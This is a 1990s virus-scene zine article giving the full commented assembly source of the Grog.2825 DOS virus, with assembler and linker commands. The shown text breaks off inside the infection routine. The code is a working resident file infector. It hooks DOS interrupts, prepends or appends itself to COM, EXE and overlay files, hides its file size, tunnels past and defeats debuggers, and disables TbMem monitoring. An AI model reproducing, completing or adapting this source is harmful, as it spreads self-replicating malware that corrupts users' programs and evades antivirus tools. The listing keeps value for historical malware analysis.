/-----------------------------\ | Xine - issue #3 - Phile 307 | \-----------------------------/ comment * Grog.2825 Disassembly by Darkman/29A Grog.2825 is a 2825 bytes parasitic resident COM/EXE/Overlay virus. Infects files at open file, close file, delete file, get or set file attributes, load and/or execute program and extended open/create by prepending the virus to the infected COM file and appending to the infected EXE/Overlay file. Grog.2825 has an error handler, anti-tunneling, anti-debugging techniques, interrupt stealth at interrupt 21h, filesize stealth, retro structures, tunneling of interrupt 13h and interrupt 21h and is oligomorphic in file using its internal oligomorphic engine. Grog.2825 is using the pointer to address of interrupt 13h (disk) handler-, interrupt 21h (DOS functions) get address of InDOS flag- and address of interrupt 40h (ROM BIOS diskette handler relocated by hard disk BIOS) handler DOS exploits. To compile Grog.2825 with Turbo Assembler v 4.0 type: TASM /m GROG2825.ASM TLINK /t /x GROG2825.OBJ * .model tiny .code org 100h ; Origin of Grog.2825 code_begin: xor dx,dx ; Zero DX mov ds,dx ; DS = segment of interrupt table mov es,dx ; ES = segment of interrupt table mov si,(01h*04h) ; SI = offset of interrupt vector 01h mov di,si ; DI = " " " " " lodsw ; AX = offset of interrupt 01h push ax ; Save AX at stack lodsw ; AX = segment of interrupt 01h push ax ; Save AX at stack lea ax,decryptor ; AX = offset of decryptor stosw ; Set interrupt offset 01h mov ax,cs ; AX = segment of decryptor stosw ; Set interrupt segment 01h push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov cx,(crypt_end-crypt_begin) lea si,crypt_begin ; SI = offset of crypt_begin inc dh ; Set trap flag push dx ; Save DX at stack popf ; Load flags from stack (DX) decrypt_loop: lodsb ; AL = byte of encrypted code loop decrypt_loop int 20h ; Terminate program decryptor proc near ; Anti-debugging decryptor mov bp,sp ; BP = stack pointer mov di,[bp+00h] ; DI = offset of decryptor loop cmp byte ptr [di],0e2h ; LOOP imm8 (opcode 0e2h)? jne test_int20 ; Not equal? Jump to test_int20 db 06h dup(90h) ; Decryption algorithm decrypt_algo equ word ptr $-04h ; " " mov [si-01h],al ; Store byte of decrypted code decrypt_exit: iret ; Interrupt return! test_int20: cmp byte ptr [di],0cdh ; INT 20h (opcode 0cdh,20h)? jne decrypt_exit ; Not equal? Jump to decrypt_exit endp crypt_begin: sti ; Set interrupt-enable flag add sp,06h ; Correct stack pointer pop word ptr [int01_addr+02h] pop word ptr [int01_addr] push cs ; Save CS at stack pop es ; Load ES from stack (CS) virus_exit: mov ax,8e47h ; Grog.2825 function int 21h mov [retro_struc],01h ; TbMem retro structures nop mov word ptr [int40_addr],0ec59h mov word ptr [int40_addr+02h],0f000h mov ax,2e01h ; Set verify flag (on) xor dl,dl ; Zero DL int 21h mov ah,2fh ; Get disk transfer area address int 21h push es bx ; Save registers at stack call install lea dx,dta ; DX = offset of dta mov ah,1ah ; Set disk transfer area address call int21_simula call test_assign jne infect_comma ; ASSIGN not installed? Jump to in... mov ax,601h ; Get drive assignment table int 2fh mov al,es:[105h] ; AL = the drive which C: is mappe... push ax ; Save AX at stack mov al,03h ; Mappe drive C: to drive C: mov es:[105h],al ; Store which drive C: is mapped too infect_comma: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,c__command_c ; DX = offset of c__command_c mov ax,4300h ; Get file attributes int 21h lea dx,c__dos_comma ; DX = offset of c__dos_comma mov ax,4300h ; Get file attributes int 21h call test_assign jne set_dta_addr ; ASSIGN not installed? Jump to se... pop ax ; Load AX from stack mov es:[105h],al ; Store drive which C: is mapped to set_dta_addr: pop dx ds ; Load registers from stack mov ah,1ah ; Set disk transfer area address call int21_simula jmp virus_exit test_assign proc near ; Test if ASSIGN is installed mov ax,600h ; ASSIGN installation check int 2fh cmp al,0ffh ; ASSIGN installed? ret ; Return! endp install proc near ; Tunnel, allocate memory, move vi... mov ax,5500h ; COMMAND.COM interface int 2fh mov cs:[command_inst],ah mov ah,34h ; Get address of InDOS flag int 21h mov cs:[tunnel_seg],es ; Store segment of DOS data segment xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ds:[01h*04h],offset tunneler mov ds:[01h*04h+02h],cs ; Set interupt vector 01h mov ax,3521h ; Get interrupt vector 21h int 21h mov ds:[21h*04h],bx ; Set interrupt offset 21h mov ds:[21h*04h+02h],es ; Set interrupt segment 21h push ds:[20h*04h] ; Get interrupt offset 20h pop word ptr cs:[int20_addr] push ds:[20h*04h+02h] ; Get interrupt segment 20h pop word ptr cs:[int20_addr+02h] push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov word ptr [int21_origin],bx mov word ptr [int21_origin+02h],es mov word ptr [int21_addr_],bx mov word ptr [int21_addr_+02h],es xor ax,ax ; Zero AX push ax ; Save AX at stack inc ah ; Set trap flag push ax ; Save AX at stack push ax ; Save AX at stack popf ; Load flags from stack (AX) mov ax,4343h ; Unknown function pushf ; Save flags at stack call [int21_addr_] push word ptr [int21_addr_] pop word ptr [int21_addr] push word ptr [int21_addr_+02h] pop word ptr [int21_addr+02h] xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table les bx,ds:[7b4h] ; ES:BX = pointer to address of in... push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov word ptr [int13_addr],bx mov word ptr [int13_addr+02h],es mov [tunnel_seg],0f000h ; Store segment of interrupt 13h popf ; Load flags from stack (AX) mov ah,01h ; Get status of last operation pushf ; Save flags at stack call [int13_addr] popf ; Load flags from stack mov ah,62h ; Get current PSP address int 21h mov es,bx ; ES = segment of PSP for current ... mov ah,49h ; Free memory int 21h mov bx,0ffffh ; BX = number of paragraphs to all... mov ah,48h ; Allocate memory int 21h sub bx,((code_end-code_begin+0fh)/10h+01h)*02h+01h mov cx,es ; ES = segment of PSP for current ... stc ; Set carry flag adc cx,bx ; CX = segment of allocated block mov ah,4ah ; Resize memory block int 21h mov bx,((code_end-code_begin+0fh)/10h+01h)*02h stc ; Set carry flag sbb es:[02h],bx ; Store segment of first byte beyo... push es ; Save ES at stack mov es,cx ; ES = segment of allocated block mov ah,4ah ; Resize memory block int 21h mov ax,es ; AX = segment of allocated block dec ax ; Decrease AX mov ds,ax ; DS = segment of Memory Control B... mov word ptr ds:[01h],08h mov dx,10h ; Multiply by paragraphs mul dx ; DX:AX = segment of Memory Contro... mov bx,ax ; BX = low-order word of segment o... mov cx,dx ; CX = high-order word of segment ... pop ds ; Load DS from stack (ES) mov ax,ds ; AX = segment of PSP for current ... mov dx,10h ; Multiply by paragraphs mul dx ; DX:AX = segment of PSP for curre... add ax,ds:[06h] ; Add segment address of next memo... adc dx,00h ; Convert to 32-bit sub ax,bx ; Subtract segment of Memory Contr... sbb dx,cx ; Convert to 32-bit jb move_virus ; Below? Jump to move_virus sub ds:[06],ax ; Store new segment address of nex... move_virus: lea si,code_begin ; SI = offset of code_begin xor di,di ; Zero DI push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov cx,(code_end-code_begin) rep movsb ; Move virus to top of memory mov ah,62h ; Get current PSP address int 21h dec bx ; Decrease BX mov ds,bx ; DS = segment of Memory Control B... mov byte ptr ds:[00h],'Z' xor ax,ax ; Zero AX push ax ; Save AX at stack pop ds ; Load DS from stack (AX) mov ax,es ; AX = segment of allocated block sub ax,10h ; Subtract ten from segment of all... mov es,ax ; ES = segment of allocated block ... cli ; Clear interrupt-enable flag mov ds:[20h*04h],offset int20_virus mov ds:[20h*04h+02h],es ; Set interrupt vector 20h mov ds:[21h*04h],offset int21_virus mov ds:[21h*04h+02h],es ; Set interrupt vector 21h sti ; Set interrupt-enable flag push cs ; Save CS at stack pop ds ; Load DS from stack (CS) ret ; Return! endp tunneler proc near ; Interrupt 13h/interrupt 21h tunn... push ax bx ; Save registers at stack mov bx,cs ; BX = code segment call test_segment cmp bh,00h ; Not equal to data- or extra seg...? je tst_zero_seg ; Equal? Jump to tst_zero_seg jmp code_seg_tst tst_zero_seg: xor bx,bx ; BX = segment of interrupt table call test_segment cmp bh,00h ; Not equal to data- or extra seg...? je test_cs_seg ; Equal? Jump to test_cs_seg jmp zero_seg_tst test_cs_seg: pop bx ax ; Load registers from stack push bp ; Save BP at stack test_cs_seg_: mov bp,sp ; BP = stack pointer cmp [bp+04h],0f000h ; Segment of tunneled interrupt? tunnel_seg equ word ptr $-02h ; Segment of tunneled interrupt jne test_opcode ; Not equal? Jump to test_opcode push ax es ; Save registers at stack les ax,[bp+02h] ; ES:AX = pointer to interrupt mov word ptr cs:[tunnel_addr],ax mov word ptr cs:[tunnel_addr+02h],es pop es ax ; Load registers from stack and [bp+06h],1111111011111111b jmp tunnel_exit_ nop test_opcode: push ds si ax ; Load registers from stack lds si,[bp+02h] ; DS:SI = pointer to interrupt push si ; Save SI at stack mov ax,ds ; AX = data segment mov si,cs ; SI = code segment cmp ax,si ; Code segment equal to data segment? pop si ; Load SI from stack je tunnel_exit ; Equal? Jump to tunnel_exit lodsw ; AX = opcode of interrupt cmp al,9dh ; POPF (opcode 9dh)? jne test_pushf ; Not equal? Jump to test_pushf or [bp+08h],0000000100000000b jmp tunnel_exit nop test_pushf: cmp al,9ch ; PUSHF (opcode 9ch)? jne test_iret ; Not equal? Jump to test_iret jmp pushf_simula test_iret: cmp al,0cfh ; IRET (opcode 0cfh)? jne test_dec_sp ; Not equal? Jump to test_dec_sp or [bp+0ch],0000000100000000b tunnel_exit: pop ax si ds ; Load registers from stack tunnel_exit_: pop bp ; Load BP from stack iret ; Interrupt return! test_dec_sp: cmp al,4ch ; DEC SP (opcode 4ch)? jne test_int ; Not equal? Jump to test_int mov ax,[bp+02h] ; AX = instruction pointer of inte... inc ax ; Increase AX mov [bp+02h],ax ; Store instruction pointer of int... push di ; Save DI at stack push ss ; Save SS at stack pop ds ; Load DS from stack (SS) mov si,sp ; SI = stack pointer mov di,bp ; DI = stack pointer add di,08h ; DI = offset of end of stack move_stack: lodsw ; AL = word of stack mov [si-03h],ax ; Store word of stack cmp si,di ; End of stack? jne move_stack ; Not equal? Jump to move_stack mov al,01000011b ; AL = low-order byte of flags mov [bp+07h],al ; Store low-order byte of flags dec sp ; Decrease SP pop di ; Load DI from stack pop ax si ds ; Load registers from stack jmp test_cs_seg_ test_int: cmp cs:[command_inst],00h jne tunnel_exit ; Not equal? Jump to tunnel_exit cmp al,0cdh ; INT? (opcode 0cdh)? jne test_int03 ; Not equal? Jump to test_int03 mov si,[bp+02h] ; SI = instruction pointer of inte... inc si ; Increase SI inc si ; Increase SI mov [bp+02h],si ; Store instruction pointer of int... int_simulati: xor si,si ; Zero SI mov ds,si ; DS = segment of interrupt table mov al,ah ; AL = interrupt number xor ah,ah ; Zero AH shl ax,01h ; Calculate offset of interrupt ve... shl ax,01h ; " " " " " mov si,ax ; SI = offset of interrupt vector push es di ; Save registers at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,int_addr ; DI = offset of int_addr movsw ; Get interrupt vector movsw ; " " " pop di es ; Load registers from stack pop ax si ds ; Load registers from stack push [bp+06h] ; Save flags at stack popf ; Load flags from stack pop bp ; Load BP from stack db 0eah ; JMP imm32 (opcode 0eah) int_addr dd ? ; Address of interrupt test_int03: cmp al,0cch ; INT 03h (opcode 0cch)? jne tunnel_exit ; Not equal? Jump to tunnel_exit mov ax,[bp+02h] ; AX = instruction pointer of inte... inc ax ; Increase AX mov [bp+02h],ax ; Store instruction pointer of int... mov ax,03cdh ; INT 03h (opcode 0cdh,03h) jmp int_simulati code_seg_tst: pop bx ax ; Load registers from stack push bp ds ; Save registers at stack lea bp,int24_exit ; BP = offset of int24_exit mov ds,bp ; DS = " " " lea bp,tunneler ; BP = offset of tunneler call exam_mod_reg pop ds ; Load DS from stack jmp test_cs_seg_ zero_seg_tst: pop bx ax ; Load registers from stack push bp ; Save BP at stack push ds ; Save DS at stack lea bp,int01_addr ; BP = offset of int01_addr mov ds,bp ; DS = " " " mov bp,(01h*04h) ; BP = offset of interrupt vector 01h call exam_mod_reg pop ds ; Load DS from stack cmp bp,05h ; Found offset of interrupt table? je tst_data_seg ; Equal? Jump to tst_data_seg jmp test_cs_seg_ tst_data_seg: push ax ; Save AX at stack push cs ; Save CS at stack mov ax,ds ; AX = data segment or ax,ax ; Segment of interrupt vector table? jz mov_cs_to_ds ; Zero? Jump to mov_cs_to_ds pop es ; Load ES from stack (CS) jmp jump_test_cs nop mov_cs_to_ds: pop ds ; Load DS from stack (CS) jump_test_cs: pop ax ; Load AX from stack jmp test_cs_seg_ pushf_simula: mov ax,[bp+02h] ; AX = instruction pointer of inte... inc ax ; Increase AX mov [bp+02h],ax ; Store instruction pointer of int... push di ds ; Save registers at stack push ss ; Save SS at stack pop ds ; Load DS from stack (SS) mov si,sp ; SI = stack pointer mov di,bp ; DI = stack pointer add di,08h ; DI = offset of end of stack move_stack_: lodsw ; AL = word of stack mov [si-04h],ax ; Store word of stack cmp si,di ; End of stack? jne move_stack_ ; Not equal? Jump to move_stack_ dec sp ; Decrease SP dec sp ; " " pop ds di ; Load registers from stack push [bp+04h] ; Save flags at stack pop [bp+06h] ; Load flags from stack and [bp+06h],1111111011111111b pop ax si ds ; Load registers from stack jmp test_cs_seg_ test_segment proc near ; Test data- and extra segment mov ax,ds ; AX = data segment cmp ax,bx ; Equal to data segment jne test_es_seg ; Not equal? Jump to test_es_seg mov bh,01h ; Segment found ret ; Return! test_es_seg: mov ax,es ; AX = extra segment cmp ax,bx ; Equal to extra segment? jne not_equal ; Not equal? Jump to not_equal mov bh,01h ; Segment found ret ; Return! not_equal: mov bh,00h ; Segment not found ret ; Return! endp exam_mod_reg proc near ; Examine and if found, modify reg... cmp ax,bp ; Equal to test register value? jne exam_bx_reg ; Not equal? Jump to exam_bx_reg mov ax,ds ; AX = new register value jmp found_reg nop exam_bx_reg: cmp bx,bp ; Equal to test register value? jne exam_cx_reg ; Not equal? Jump to exam_cx_reg mov bx,ds ; BX = new register value jmp found_reg nop exam_cx_reg: cmp cx,bp ; Equal to test register value? jne exam_dx_reg ; Not equal? Jump to exam_dx_reg mov cx,ds ; CX = new register value jmp found_reg nop exam_dx_reg: cmp dx,bp ; Equal to test register value? jne exam_si_reg ; Not equal? Jump to exam_si_reg mov dx,ds ; DX = new register value jmp found_reg nop exam_si_reg: cmp si,bp ; Equal to test register value? jne exam_di_reg ; Not equal? Jump to exam_di_reg mov si,ds ; SI = new register value jmp found_reg nop exam_di_reg: cmp di,bp ; Equal to test register value? jne exam_reg_xit ; Not equal? Jump to exam_reg_xit mov di,ds ; DI = new register value found_reg: inc bp ; BP = found test register value exam_reg_xit: ret ; Return! endp endp dta_stealth: call int21_simula jc dta_ste_exit ; Error? Jump to dta_ste_exit push ds es ax bx cx si ; Save registers at stack cld ; Clear direction flag mov ah,2fh ; Get disk transfer area address call int21_simula push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov si,bx ; SI = offset of disk transfer area add si,16h ; SI = offset of file time lodsb ; AL = file time and al,00011111b ; AL = seconds of file time cmp al,00010001b ; Infected (34 seconds)? jne dta_dont_ste ; Not infected? Jump to dta_dont_ste add si,07h ; SI = offset of filename push si ; Save SI at stack find_zero: lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne find_zero ; Not equal? Jump to find_zero sub si,04h ; SI = offset of extension lodsb ; AL = byte of filename pop si ; Load SI from stack and al,01011111b ; Upcase character cmp al,'E' ; EXE executable? je dta_e_o_test ; Equal? Jump to dta_e_o_test cmp al,'O' ; Overlay executable? je dta_e_o_test ; Equal? Jump to dta_e_o_test cmp al,'C' ; COM executable? jne dta_dont_ste ; Not equal? Jump to dta_dont_ste cmp [si-04h],(code_end-code_begin)*02h+100h jb dta_dont_ste ; Filesize too small? Jump to dta_... sub [si-04h],(code_end-code_begin) jmp dta_dont_ste dta_e_o_test: cmp word ptr [si-02h],00h jne dta_e_o_stea ; Filesize not too small? Jump to ... cmp [si-04h],(code_end-code_begin)*02h+100h jb dta_dont_ste ; Filesize too small? Jump to dta_... dta_e_o_stea: sub [si-04h],(code_end-code_begin+110h) sbb word ptr [si-02h],00h dta_dont_ste: pop si cx bx ax es ds ; Load registers from stack clc ; Clear carry flag dta_ste_exit: retf 02h ; Return far and pop a word! fcb_stealth: call int21_simula cmp al,00h ; Match not found? jne fcb_ste_exit ; Not equal? Jump to fcb_ste_exit push es ax bx ; Save registers at stack mov ah,51h ; Get current PSP address call int21_simula mov es,bx ; ES = segment of PSP for current ... cmp bx,es:[16h] ; Parent PSP equal to current PSP? jne fcb_dont_ste ; Not equal? Jump to fcb_dont_ste mov bx,dx ; BX = offset of unopened FCB mov al,[bx] ; AL = extended FCB push ax ; Save AX at stack mov ah,2fh ; Get disk transfer area address call int21_simula pop ax ; Load AX from stack inc al ; Extended FCB? jne not_extended ; Not equal? Jump to not_extended add bx,07h ; BX = offset of normal FCB not_extended: mov ax,es:[bx+17h] ; AX = file time and al,00011111b ; AL = seconds of file time cmp al,00010001b ; Infected (34 seconds)? jne fcb_dont_ste ; Not infected? Jump to fcb_dont_ste mov al,es:[bx+09h] ; AL = byte of filename and al,01011111b ; Upcase character cmp al,'E' ; EXE executable? je fcb_e_o_test ; Equal? Jump to fcb_e_o_test cmp al,'O' ; Overlay executable? je fcb_e_o_test ; Equal? Jump to fcb_e_o_test cmp al,'C' ; COM executable? jne fcb_dont_ste ; Not equal? Jump to fcb_dont_ste cmp es:[bx+1dh],(code_end-code_begin)*02h+100h jb fcb_dont_ste ; Filesize too small? Jump to fcb_... sub es:[bx+1dh],(code_end-code_begin) jmp fcb_dont_ste fcb_e_o_test: cmp word ptr es:[bx+1fh],00h jne fcb_e_o_stea ; Filesize not too small? Jump to ... cmp es:[bx+1dh],(code_end-code_begin)*02h+100h jb fcb_dont_ste ; Filesize too small? Jump to fcb_... fcb_e_o_stea: sub es:[bx+1dh],(code_end-code_begin+110h) sbb word ptr es:[bx+1fh],00h fcb_dont_ste: pop bx ax es ; Load registers from stack fcb_ste_exit: iret ; Interrupt return! jmp_dta_stea: jmp dta_stealth jmp_fcb_stea: jmp fcb_stealth int21_virus proc near ; Interrupt 21h of Grog.2825 push bp ; Save BP at stack mov bp,sp ; BP = stack pointer cli ; Clear interrupt-enable flag mov [bp-02h],'Gg' ; Store 'Gg' at stack cmp [bp-02h],'Gg' ; Tunneling? sti ; Set interrupt-enable flag pop bp ; Load BP from stack je jmp_tst_vir_ ; No tunneling? Jump to jmp_tst_vir_ iret ; Interrupt return! jmp_tst_vir_: jmp tst_vir_func test_functio: cld ; Clear direction flag cmp ah,4eh ; Find first matching file (DTA)? je jmp_dta_stea ; Equal? Jump to jmp_dta_stea cmp ah,4fh ; Find next matching file (DTA)? je jmp_dta_stea ; Equal? Jump to jmp_dta_stea cmp ah,11h ; Find first matching file (DTA)? je jmp_fcb_stea ; Equal? Jump to jmp_fcb_stea cmp ah,12h ; Find next matching file (DTA)? je jmp_fcb_stea ; Equal? Jump to jmp_fcb_stea cmp ax,2521h ; Set interrupt vector 21h? jne tst_get_int_ ; Not equal? Jump to tst_get_int_ mov word ptr cs:[int21_origin],dx mov word ptr cs:[int21_origin+02h],ds iret ; Interrupt return! tst_get_int_: cmp ax,3521h ; Get interrupt vector 21h? jne tst_grog_fun ; Not equal? Jump to tst_grog_fun mov bx,word ptr cs:[int21_origin] mov es,word ptr cs:[int21_origin+02h] iret ; Interrupt return! tst_grog_fun: cmp ax,8e47h ; Grog.2825 function? je grog_functi_ ; Equal? Jump to grog_functi_ cmp ax,8e67h ; Grog.2825 function? je grog_functi ; Equal? Jump to grog_functi cmp ah,3dh ; Open file? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos cmp ah,41h ; Delete file? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos cmp ah,43h ; Get or set file attributes? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos cmp ah,4bh ; Load and/or execute program? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos cmp ah,56h ; Rename file? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos cmp ax,6c00h ; Extended open/create? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos cmp ah,3eh ; Close file? je jmp_tst_clos ; Equal? Jump to jmp_tst_clos int21_exit: db 0eah ; JMP imm32 (opcode 0eah) int21_origin dd ? ; Address of interrupt 21h endp jmp_tst_clos: jmp test_close grog_functi: add sp,06 ; Correct stack pointer jmp int20_exit grog_functi_: pop ax ds ax ; Load registers from stack xor ax,ax ; Zero AX mov es,ax ; ES = segment of interrupt table push word ptr [int01_addr] pop es:[01h*04h] ; Set interrupt offset 01h push word ptr [int01_addr+02h] pop es:[01h*04h+02h] ; Set interrupt segment 01h push ds ; Save DS at stack pop es ; Load ES from stack (DS) cmp [com_exe_ov],01h ; EXE/Overlay executable? je exe_ov_exit ; Equal? Jump to exe_ov_exit mov si,[origin_off] ; SI = offset of original code of ... mov ax,100h ; AX = offset of beginning of code add si,ax ; SI = offset of original code mov di,ax ; DI = offset of beginning of code mov cx,(code_end-code_begin) push ds ax ; Save registers at stack rep movsb ; Move the original code test_retro: cmp cs:[retro_struc],00h mov cs:[retro_struc],00h nop je zero_regs ; No TbMem retro structures? Jump ... push ds es ; Save segments at stack mov dl,00h ; Windows enhanced-mode initializa... mov ax,1605h ; Windows enhanced mode & 286 DOSx... int 2fh mov ax,es ; AX = segment of startup info str... cmp ax,70h ; Segment of DOS? je dont_retro ; Equal? Jump to dont_retro mov al,2fh ; Interrupt 2fh (multiplex) call tbmem_retro mov al,09h ; Interrupt 09h (keyboard data ready) call tbmem_retro dont_retro: pop es ds ; Load segments from stack zero_regs: xor ax,ax ; Zero AX mov bx,ax ; Zero BX mov cx,ax ; Zero CX mov dx,ax ; Zero DX mov bp,ax ; Zero BP mov si,100h ; SI = offset of beginning of code mov di,si ; DI = " " " " " retf ; Return far! exe_ov_exit: mov cx,(stack_seg-code_begin) mov di,100h ; DI = offset of beginning of code mov al,'G' rep stosb ; Overwrite virus with the charact... mov ah,62h ; Get current PSP address call int21_simula add bx,10h ; BX = segment of beginning of code add [origin_cs],bx ; Add segment of beginning of code add [stack_seg],bx ; Add segment of beginning of code cli ; Clear interrupt-enable flag mov ss,[stack_seg] ; SS = stack segment mov sp,[stack_ptr] ; SP = stack pointer sti ; Set interrupt-enable flag push [origin_cs] ; Save original code segment at st... push [origin_ip] ; Save original intruction pointer... sub bx,10h ; BX = segment of PSP for current ... mov ds,bx ; DS = " " " " " " mov es,bx ; ES = " " " " " " jmp test_retro test_close: push ax bx cx dx si di bp ds es cmp ah,3eh ; Close file? jne not_close ; Not equal? Jump to not_close cmp bx,05h ; Standard file handle? jb int21_exit_ ; Below? Jump to int21_exit_ mov bp,bx ; BP = file handle jmp tst_ext_open nop not_close: xor bp,bp ; Zero BP tst_ext_open: cmp ah,6ch ; Extended open/create? jne not_ext_open ; Not equal? Jump to not_ext_open mov dx,si ; DX = offset of filename not_ext_open: call prepare_exam int21_exit_: pop es ds bp di si dx cx bx ax jmp int21_exit prepare_exam proc near ; Prepare filename examination mov ax,3524h ; Get interrupt vector 24h call int21_simula push bx es ; Save registers at stack push ds dx ; Save registers at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,int24_virus ; DX = offset of int24_virus mov ax,2524h ; Set interrupt vector 24h call int21_simula call xchg_i13_i40 pop dx ds ; Load registers from stack cmp bp,00h ; Close file? jne not_close_ ; Not equal? Jump to not_close_ mov ax,3d00h ; Open file (read) call int21_simula jc prepare_exit ; Error? Jump to prepare_exit jmp call_examine not_close_: mov ax,bp ; AX = file handle call_examine: call examine_file mov ah,3eh ; Close file call int21_simula prepare_exit: call xchg_i13_i40 pop ds dx ; Load registers from stack mov ax,2524h ; Set interrupt vector 24h call int21_simula ret ; Return! endp examine_file proc near ; Examine COM/EXE/Overlay file xchg ax,bx ; BX = file handle push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push bx ; Save BX at stack mov ax,1220h ; Get system file table number int 2fh jc pop_bx_exit ; Error? Jump to pop_bx_exit mov ax,1216h ; Get address of system FCB mov bl,es:[di] ; BL = system file table entry int 2fh pop_bx_exit: pop bx ; Load BX from stack jc examine_exit ; Error? Jump to examine_exit mov [sft_offset],di ; Store offset of system file table mov [sft_segment],es ; Store segment of system file table mov word ptr es:[di+15h],00h mov word ptr es:[di+17h],00h cmp es:[di+28h],'VO' ; Overlay executable? je examine_name ; Equal? Jump to examine_name cmp es:[di+28h],'OC' ; COM executable? jne examine_exe ; Not equal? Jump to examine_exe cmp byte ptr es:[di+2Ah],'M' je examine_name ; Equal? Jump to examine_name jmp examine_exit nop examine_exe: cmp es:[di+28h],'XE' ; EXE executable? je examine_exe_ ; Equal? Jump to examine_exe_ jmp examine_exit nop examine_exe_: cmp byte ptr es:[di+2Ah],'E' je examine_name ; Equal? Jump to examine_name examine_exit: ret ; Return! examine_name: mov ax,di ; AX = offset of system file table... add ax,20h ; AX = offset of filename lea si,table_begin-06h ; SI = offset of table_begin - 06h examine_loop: add si,06h ; SI = offset of next filename in ... push si ; Save SI at stack mov di,ax ; DI = offset of filename mov cx,06h ; Compare six bytes rep cmpsb ; Compare filename with table of f... pop si ; Load SI from stack jne tst_loop_end ; Not equal? Jump to tst_loop_end jmp examine_exit tst_loop_end: cmp si,offset table_end-06h jne examine_loop ; Not equal? Jump to examine_loop mov di,ax ; DI = offset of filename sub di,20h ; DI = offset of system file table... mov al,es:[di+0dh] ; AL = file time and al,00011111b ; AL = seconds of file time cmp al,00010001b ; Already infected (34 seconds)? jne read_file ; Not equal? Jump to read_file ret ; Return! read_file: push es ; Save ES at stack call set_file_sof pop es ; Load ES from stack mov ah,3fh ; Read from file mov cx,(code_end-code_begin) lea dx,file_buffer ; DX = offset of file_buffer call int21_simula mov [com_exe_ov],00h ; COM executable nop cmp word ptr [file_buffer],'ZM' je find_win ; Equal? Jump to find_win cmp word ptr [file_buffer],'MZ' je find_win ; Equal? Jump to find_win cmp byte ptr es:[di+28h],'C' je tst_filesize ; COM executable? Jump to tst_file... ret ; Return! find_win: mov cx,54h ; Search through eighty-four bytes lea si,file_buffer+200h ; SI = offset of file_buffer + 200h win_loop: lodsb ; AL = byte of file_buffer and al,01011111b ; Upcase character cmp al,'W' ; Found first character of the st...? jne jmp_win_loop ; Not equal? Jump to jmp_win_loop mov al,[si] ; AL = byte of file_buffer and al,01011111b ; Upcase character cmp al,'I' ; Found second character of the s...? jne jmp_win_loop ; Not equal? Jump to jmp_win_loop mov al,[si+01h] ; AL = byte of file_buffer and al,01011111b ; Upcase character cmp al,'N' ; Found third character of the st...? je infect_exit ; Equal? Jump to infect_exit jmp_win_loop: loop win_loop mov [com_exe_ov],01h ; EXE/Overlay executable nop tst_filesize: mov ax,es:[di+11h] ; AX = filesize cmp ax,(code_end-code_begin+100h) jb infect_exit ; Filesize too small? Jump to infe... cmp [com_exe_ov],00h ; COM executable? je tst_com_size ; Equal? Jump to tst_com_size cmp word ptr es:[di+13h],05h ja infect_exit ; Filesize too large? Jump to infe... jmp mark_file nop tst_com_size: cmp ax,0fefeh-(code_end-code_begin+108h)*04h+02h ja infect_exit ; Filesize too large? Jump to infe... cmp word ptr es:[di+13h],00h jne infect_exit ; Filesize too large? Jump to infe... mov [origin_off],ax ; Store offset of original code of... mark_file: mov byte ptr es:[di+02h],02h mov ax,es:[di+0dh] ; AX = file time and al,11100000b ; Clear seconds of file time add al,00010001b ; Set infection mark (34 seconds) push ax ; Save AX at stack push es:[di+0fh] ; Save file date at stack push es di ; Save registers at stack call infect_file pop di es ; Load registers from stack pop es:[di+0fh] ; Load file date from stack pop es:[di+0dh] ; Load file time from stack infect_exit: ret ; Return! endp db '-=ðGROG v5.0 (C) ''93 by GROG - Italyð=-' infect_file proc near ; Infect COM/EXE/Overlay file call set_file_eof cmp [com_exe_ov],01h ; EXE/Overlay executable? je move_header ; Equal? Jump to move_header jmp write_origin move_header: lea si,file_buffer+0eh ; SI = offset of file_buffer + 0eh lea di,stack_seg ; DI = offset of stack_seg mov cx,05h ; Move ten bytes rep movsw ; Move ten bytes of file_buffer to... mov ax,[sft_segment] ; AX = segment of system file table mov es,ax ; ES = " " " " " mov di,[sft_offset] ; DI = offset of system file table mov ax,es:[di+11h] ; AX = low-order 16-bits of filesize mov dx,es:[di+13h] ; DX = high-order 16-bits of filesize push cs ; Save CS at stack pop es ; Load ES from stack (CS) push dx ax ; Save registers at stack and ax,0000000111111111b mov word ptr [file_buffer+02h],ax pop ax ; Load AX from stack push ax ; Save AX at stack and ah,11111110b ror ah,01h ; Rotate AH one bit to the right mov al,ah ; AL = high-order byte of low-orde... mov ah,00h ; Zero AH mov word ptr [file_buffer+04h],ax pop ax cx ; Load registers from stack push cx ; Save CX at stack or cx,cx ; High-order 16-bits of filesize e... jz calc_header ; Zero? jump to calc_header pages_loop: add word ptr [file_buffer+04h],80h loop pages_loop calc_header: pop dx ; Load DX from stack push dx ; Save DX at stack mov dx,word ptr [file_buffer+08h] mov cl,04h ; Multiply header size in paragrap... rol dx,cl ; DX = header size sub ax,dx ; Subtract header size from filesize push ax ; Save AX at stack xor bp,bp ; Zero BP xor cx,cx ; Zero CX and ax,0000000000001111b cmp al,00h ; Calculate number of bytes in la...? je calc_pages ; Equal? Jump to calc_pages mov bp,ax ; BP = total number of 512-bytes p... neg al ; Negate AL and al,00001111b sub bp,10h ; Subtract a paragraph from total ... calc_pages: add bp,10h ; Add a paragraph to total number ... inc word ptr [file_buffer+04h] add word ptr [file_buffer+02h],bp test_pages: cmp word ptr [file_buffer+02h],200h jb write_file ; Below? Jump to write_file sub word ptr [file_buffer+02h],200h inc word ptr [file_buffer+04h] jmp test_pages write_file: mov cx,ax ; CX = number of bytes to write add cx,100h ; " " " " " " " lea dx,data_buffer ; DX = offset of data_buffer mov ah,40h ; Write to file call int21_simula jnc test_read ; No error? Jump to test_read pop ax 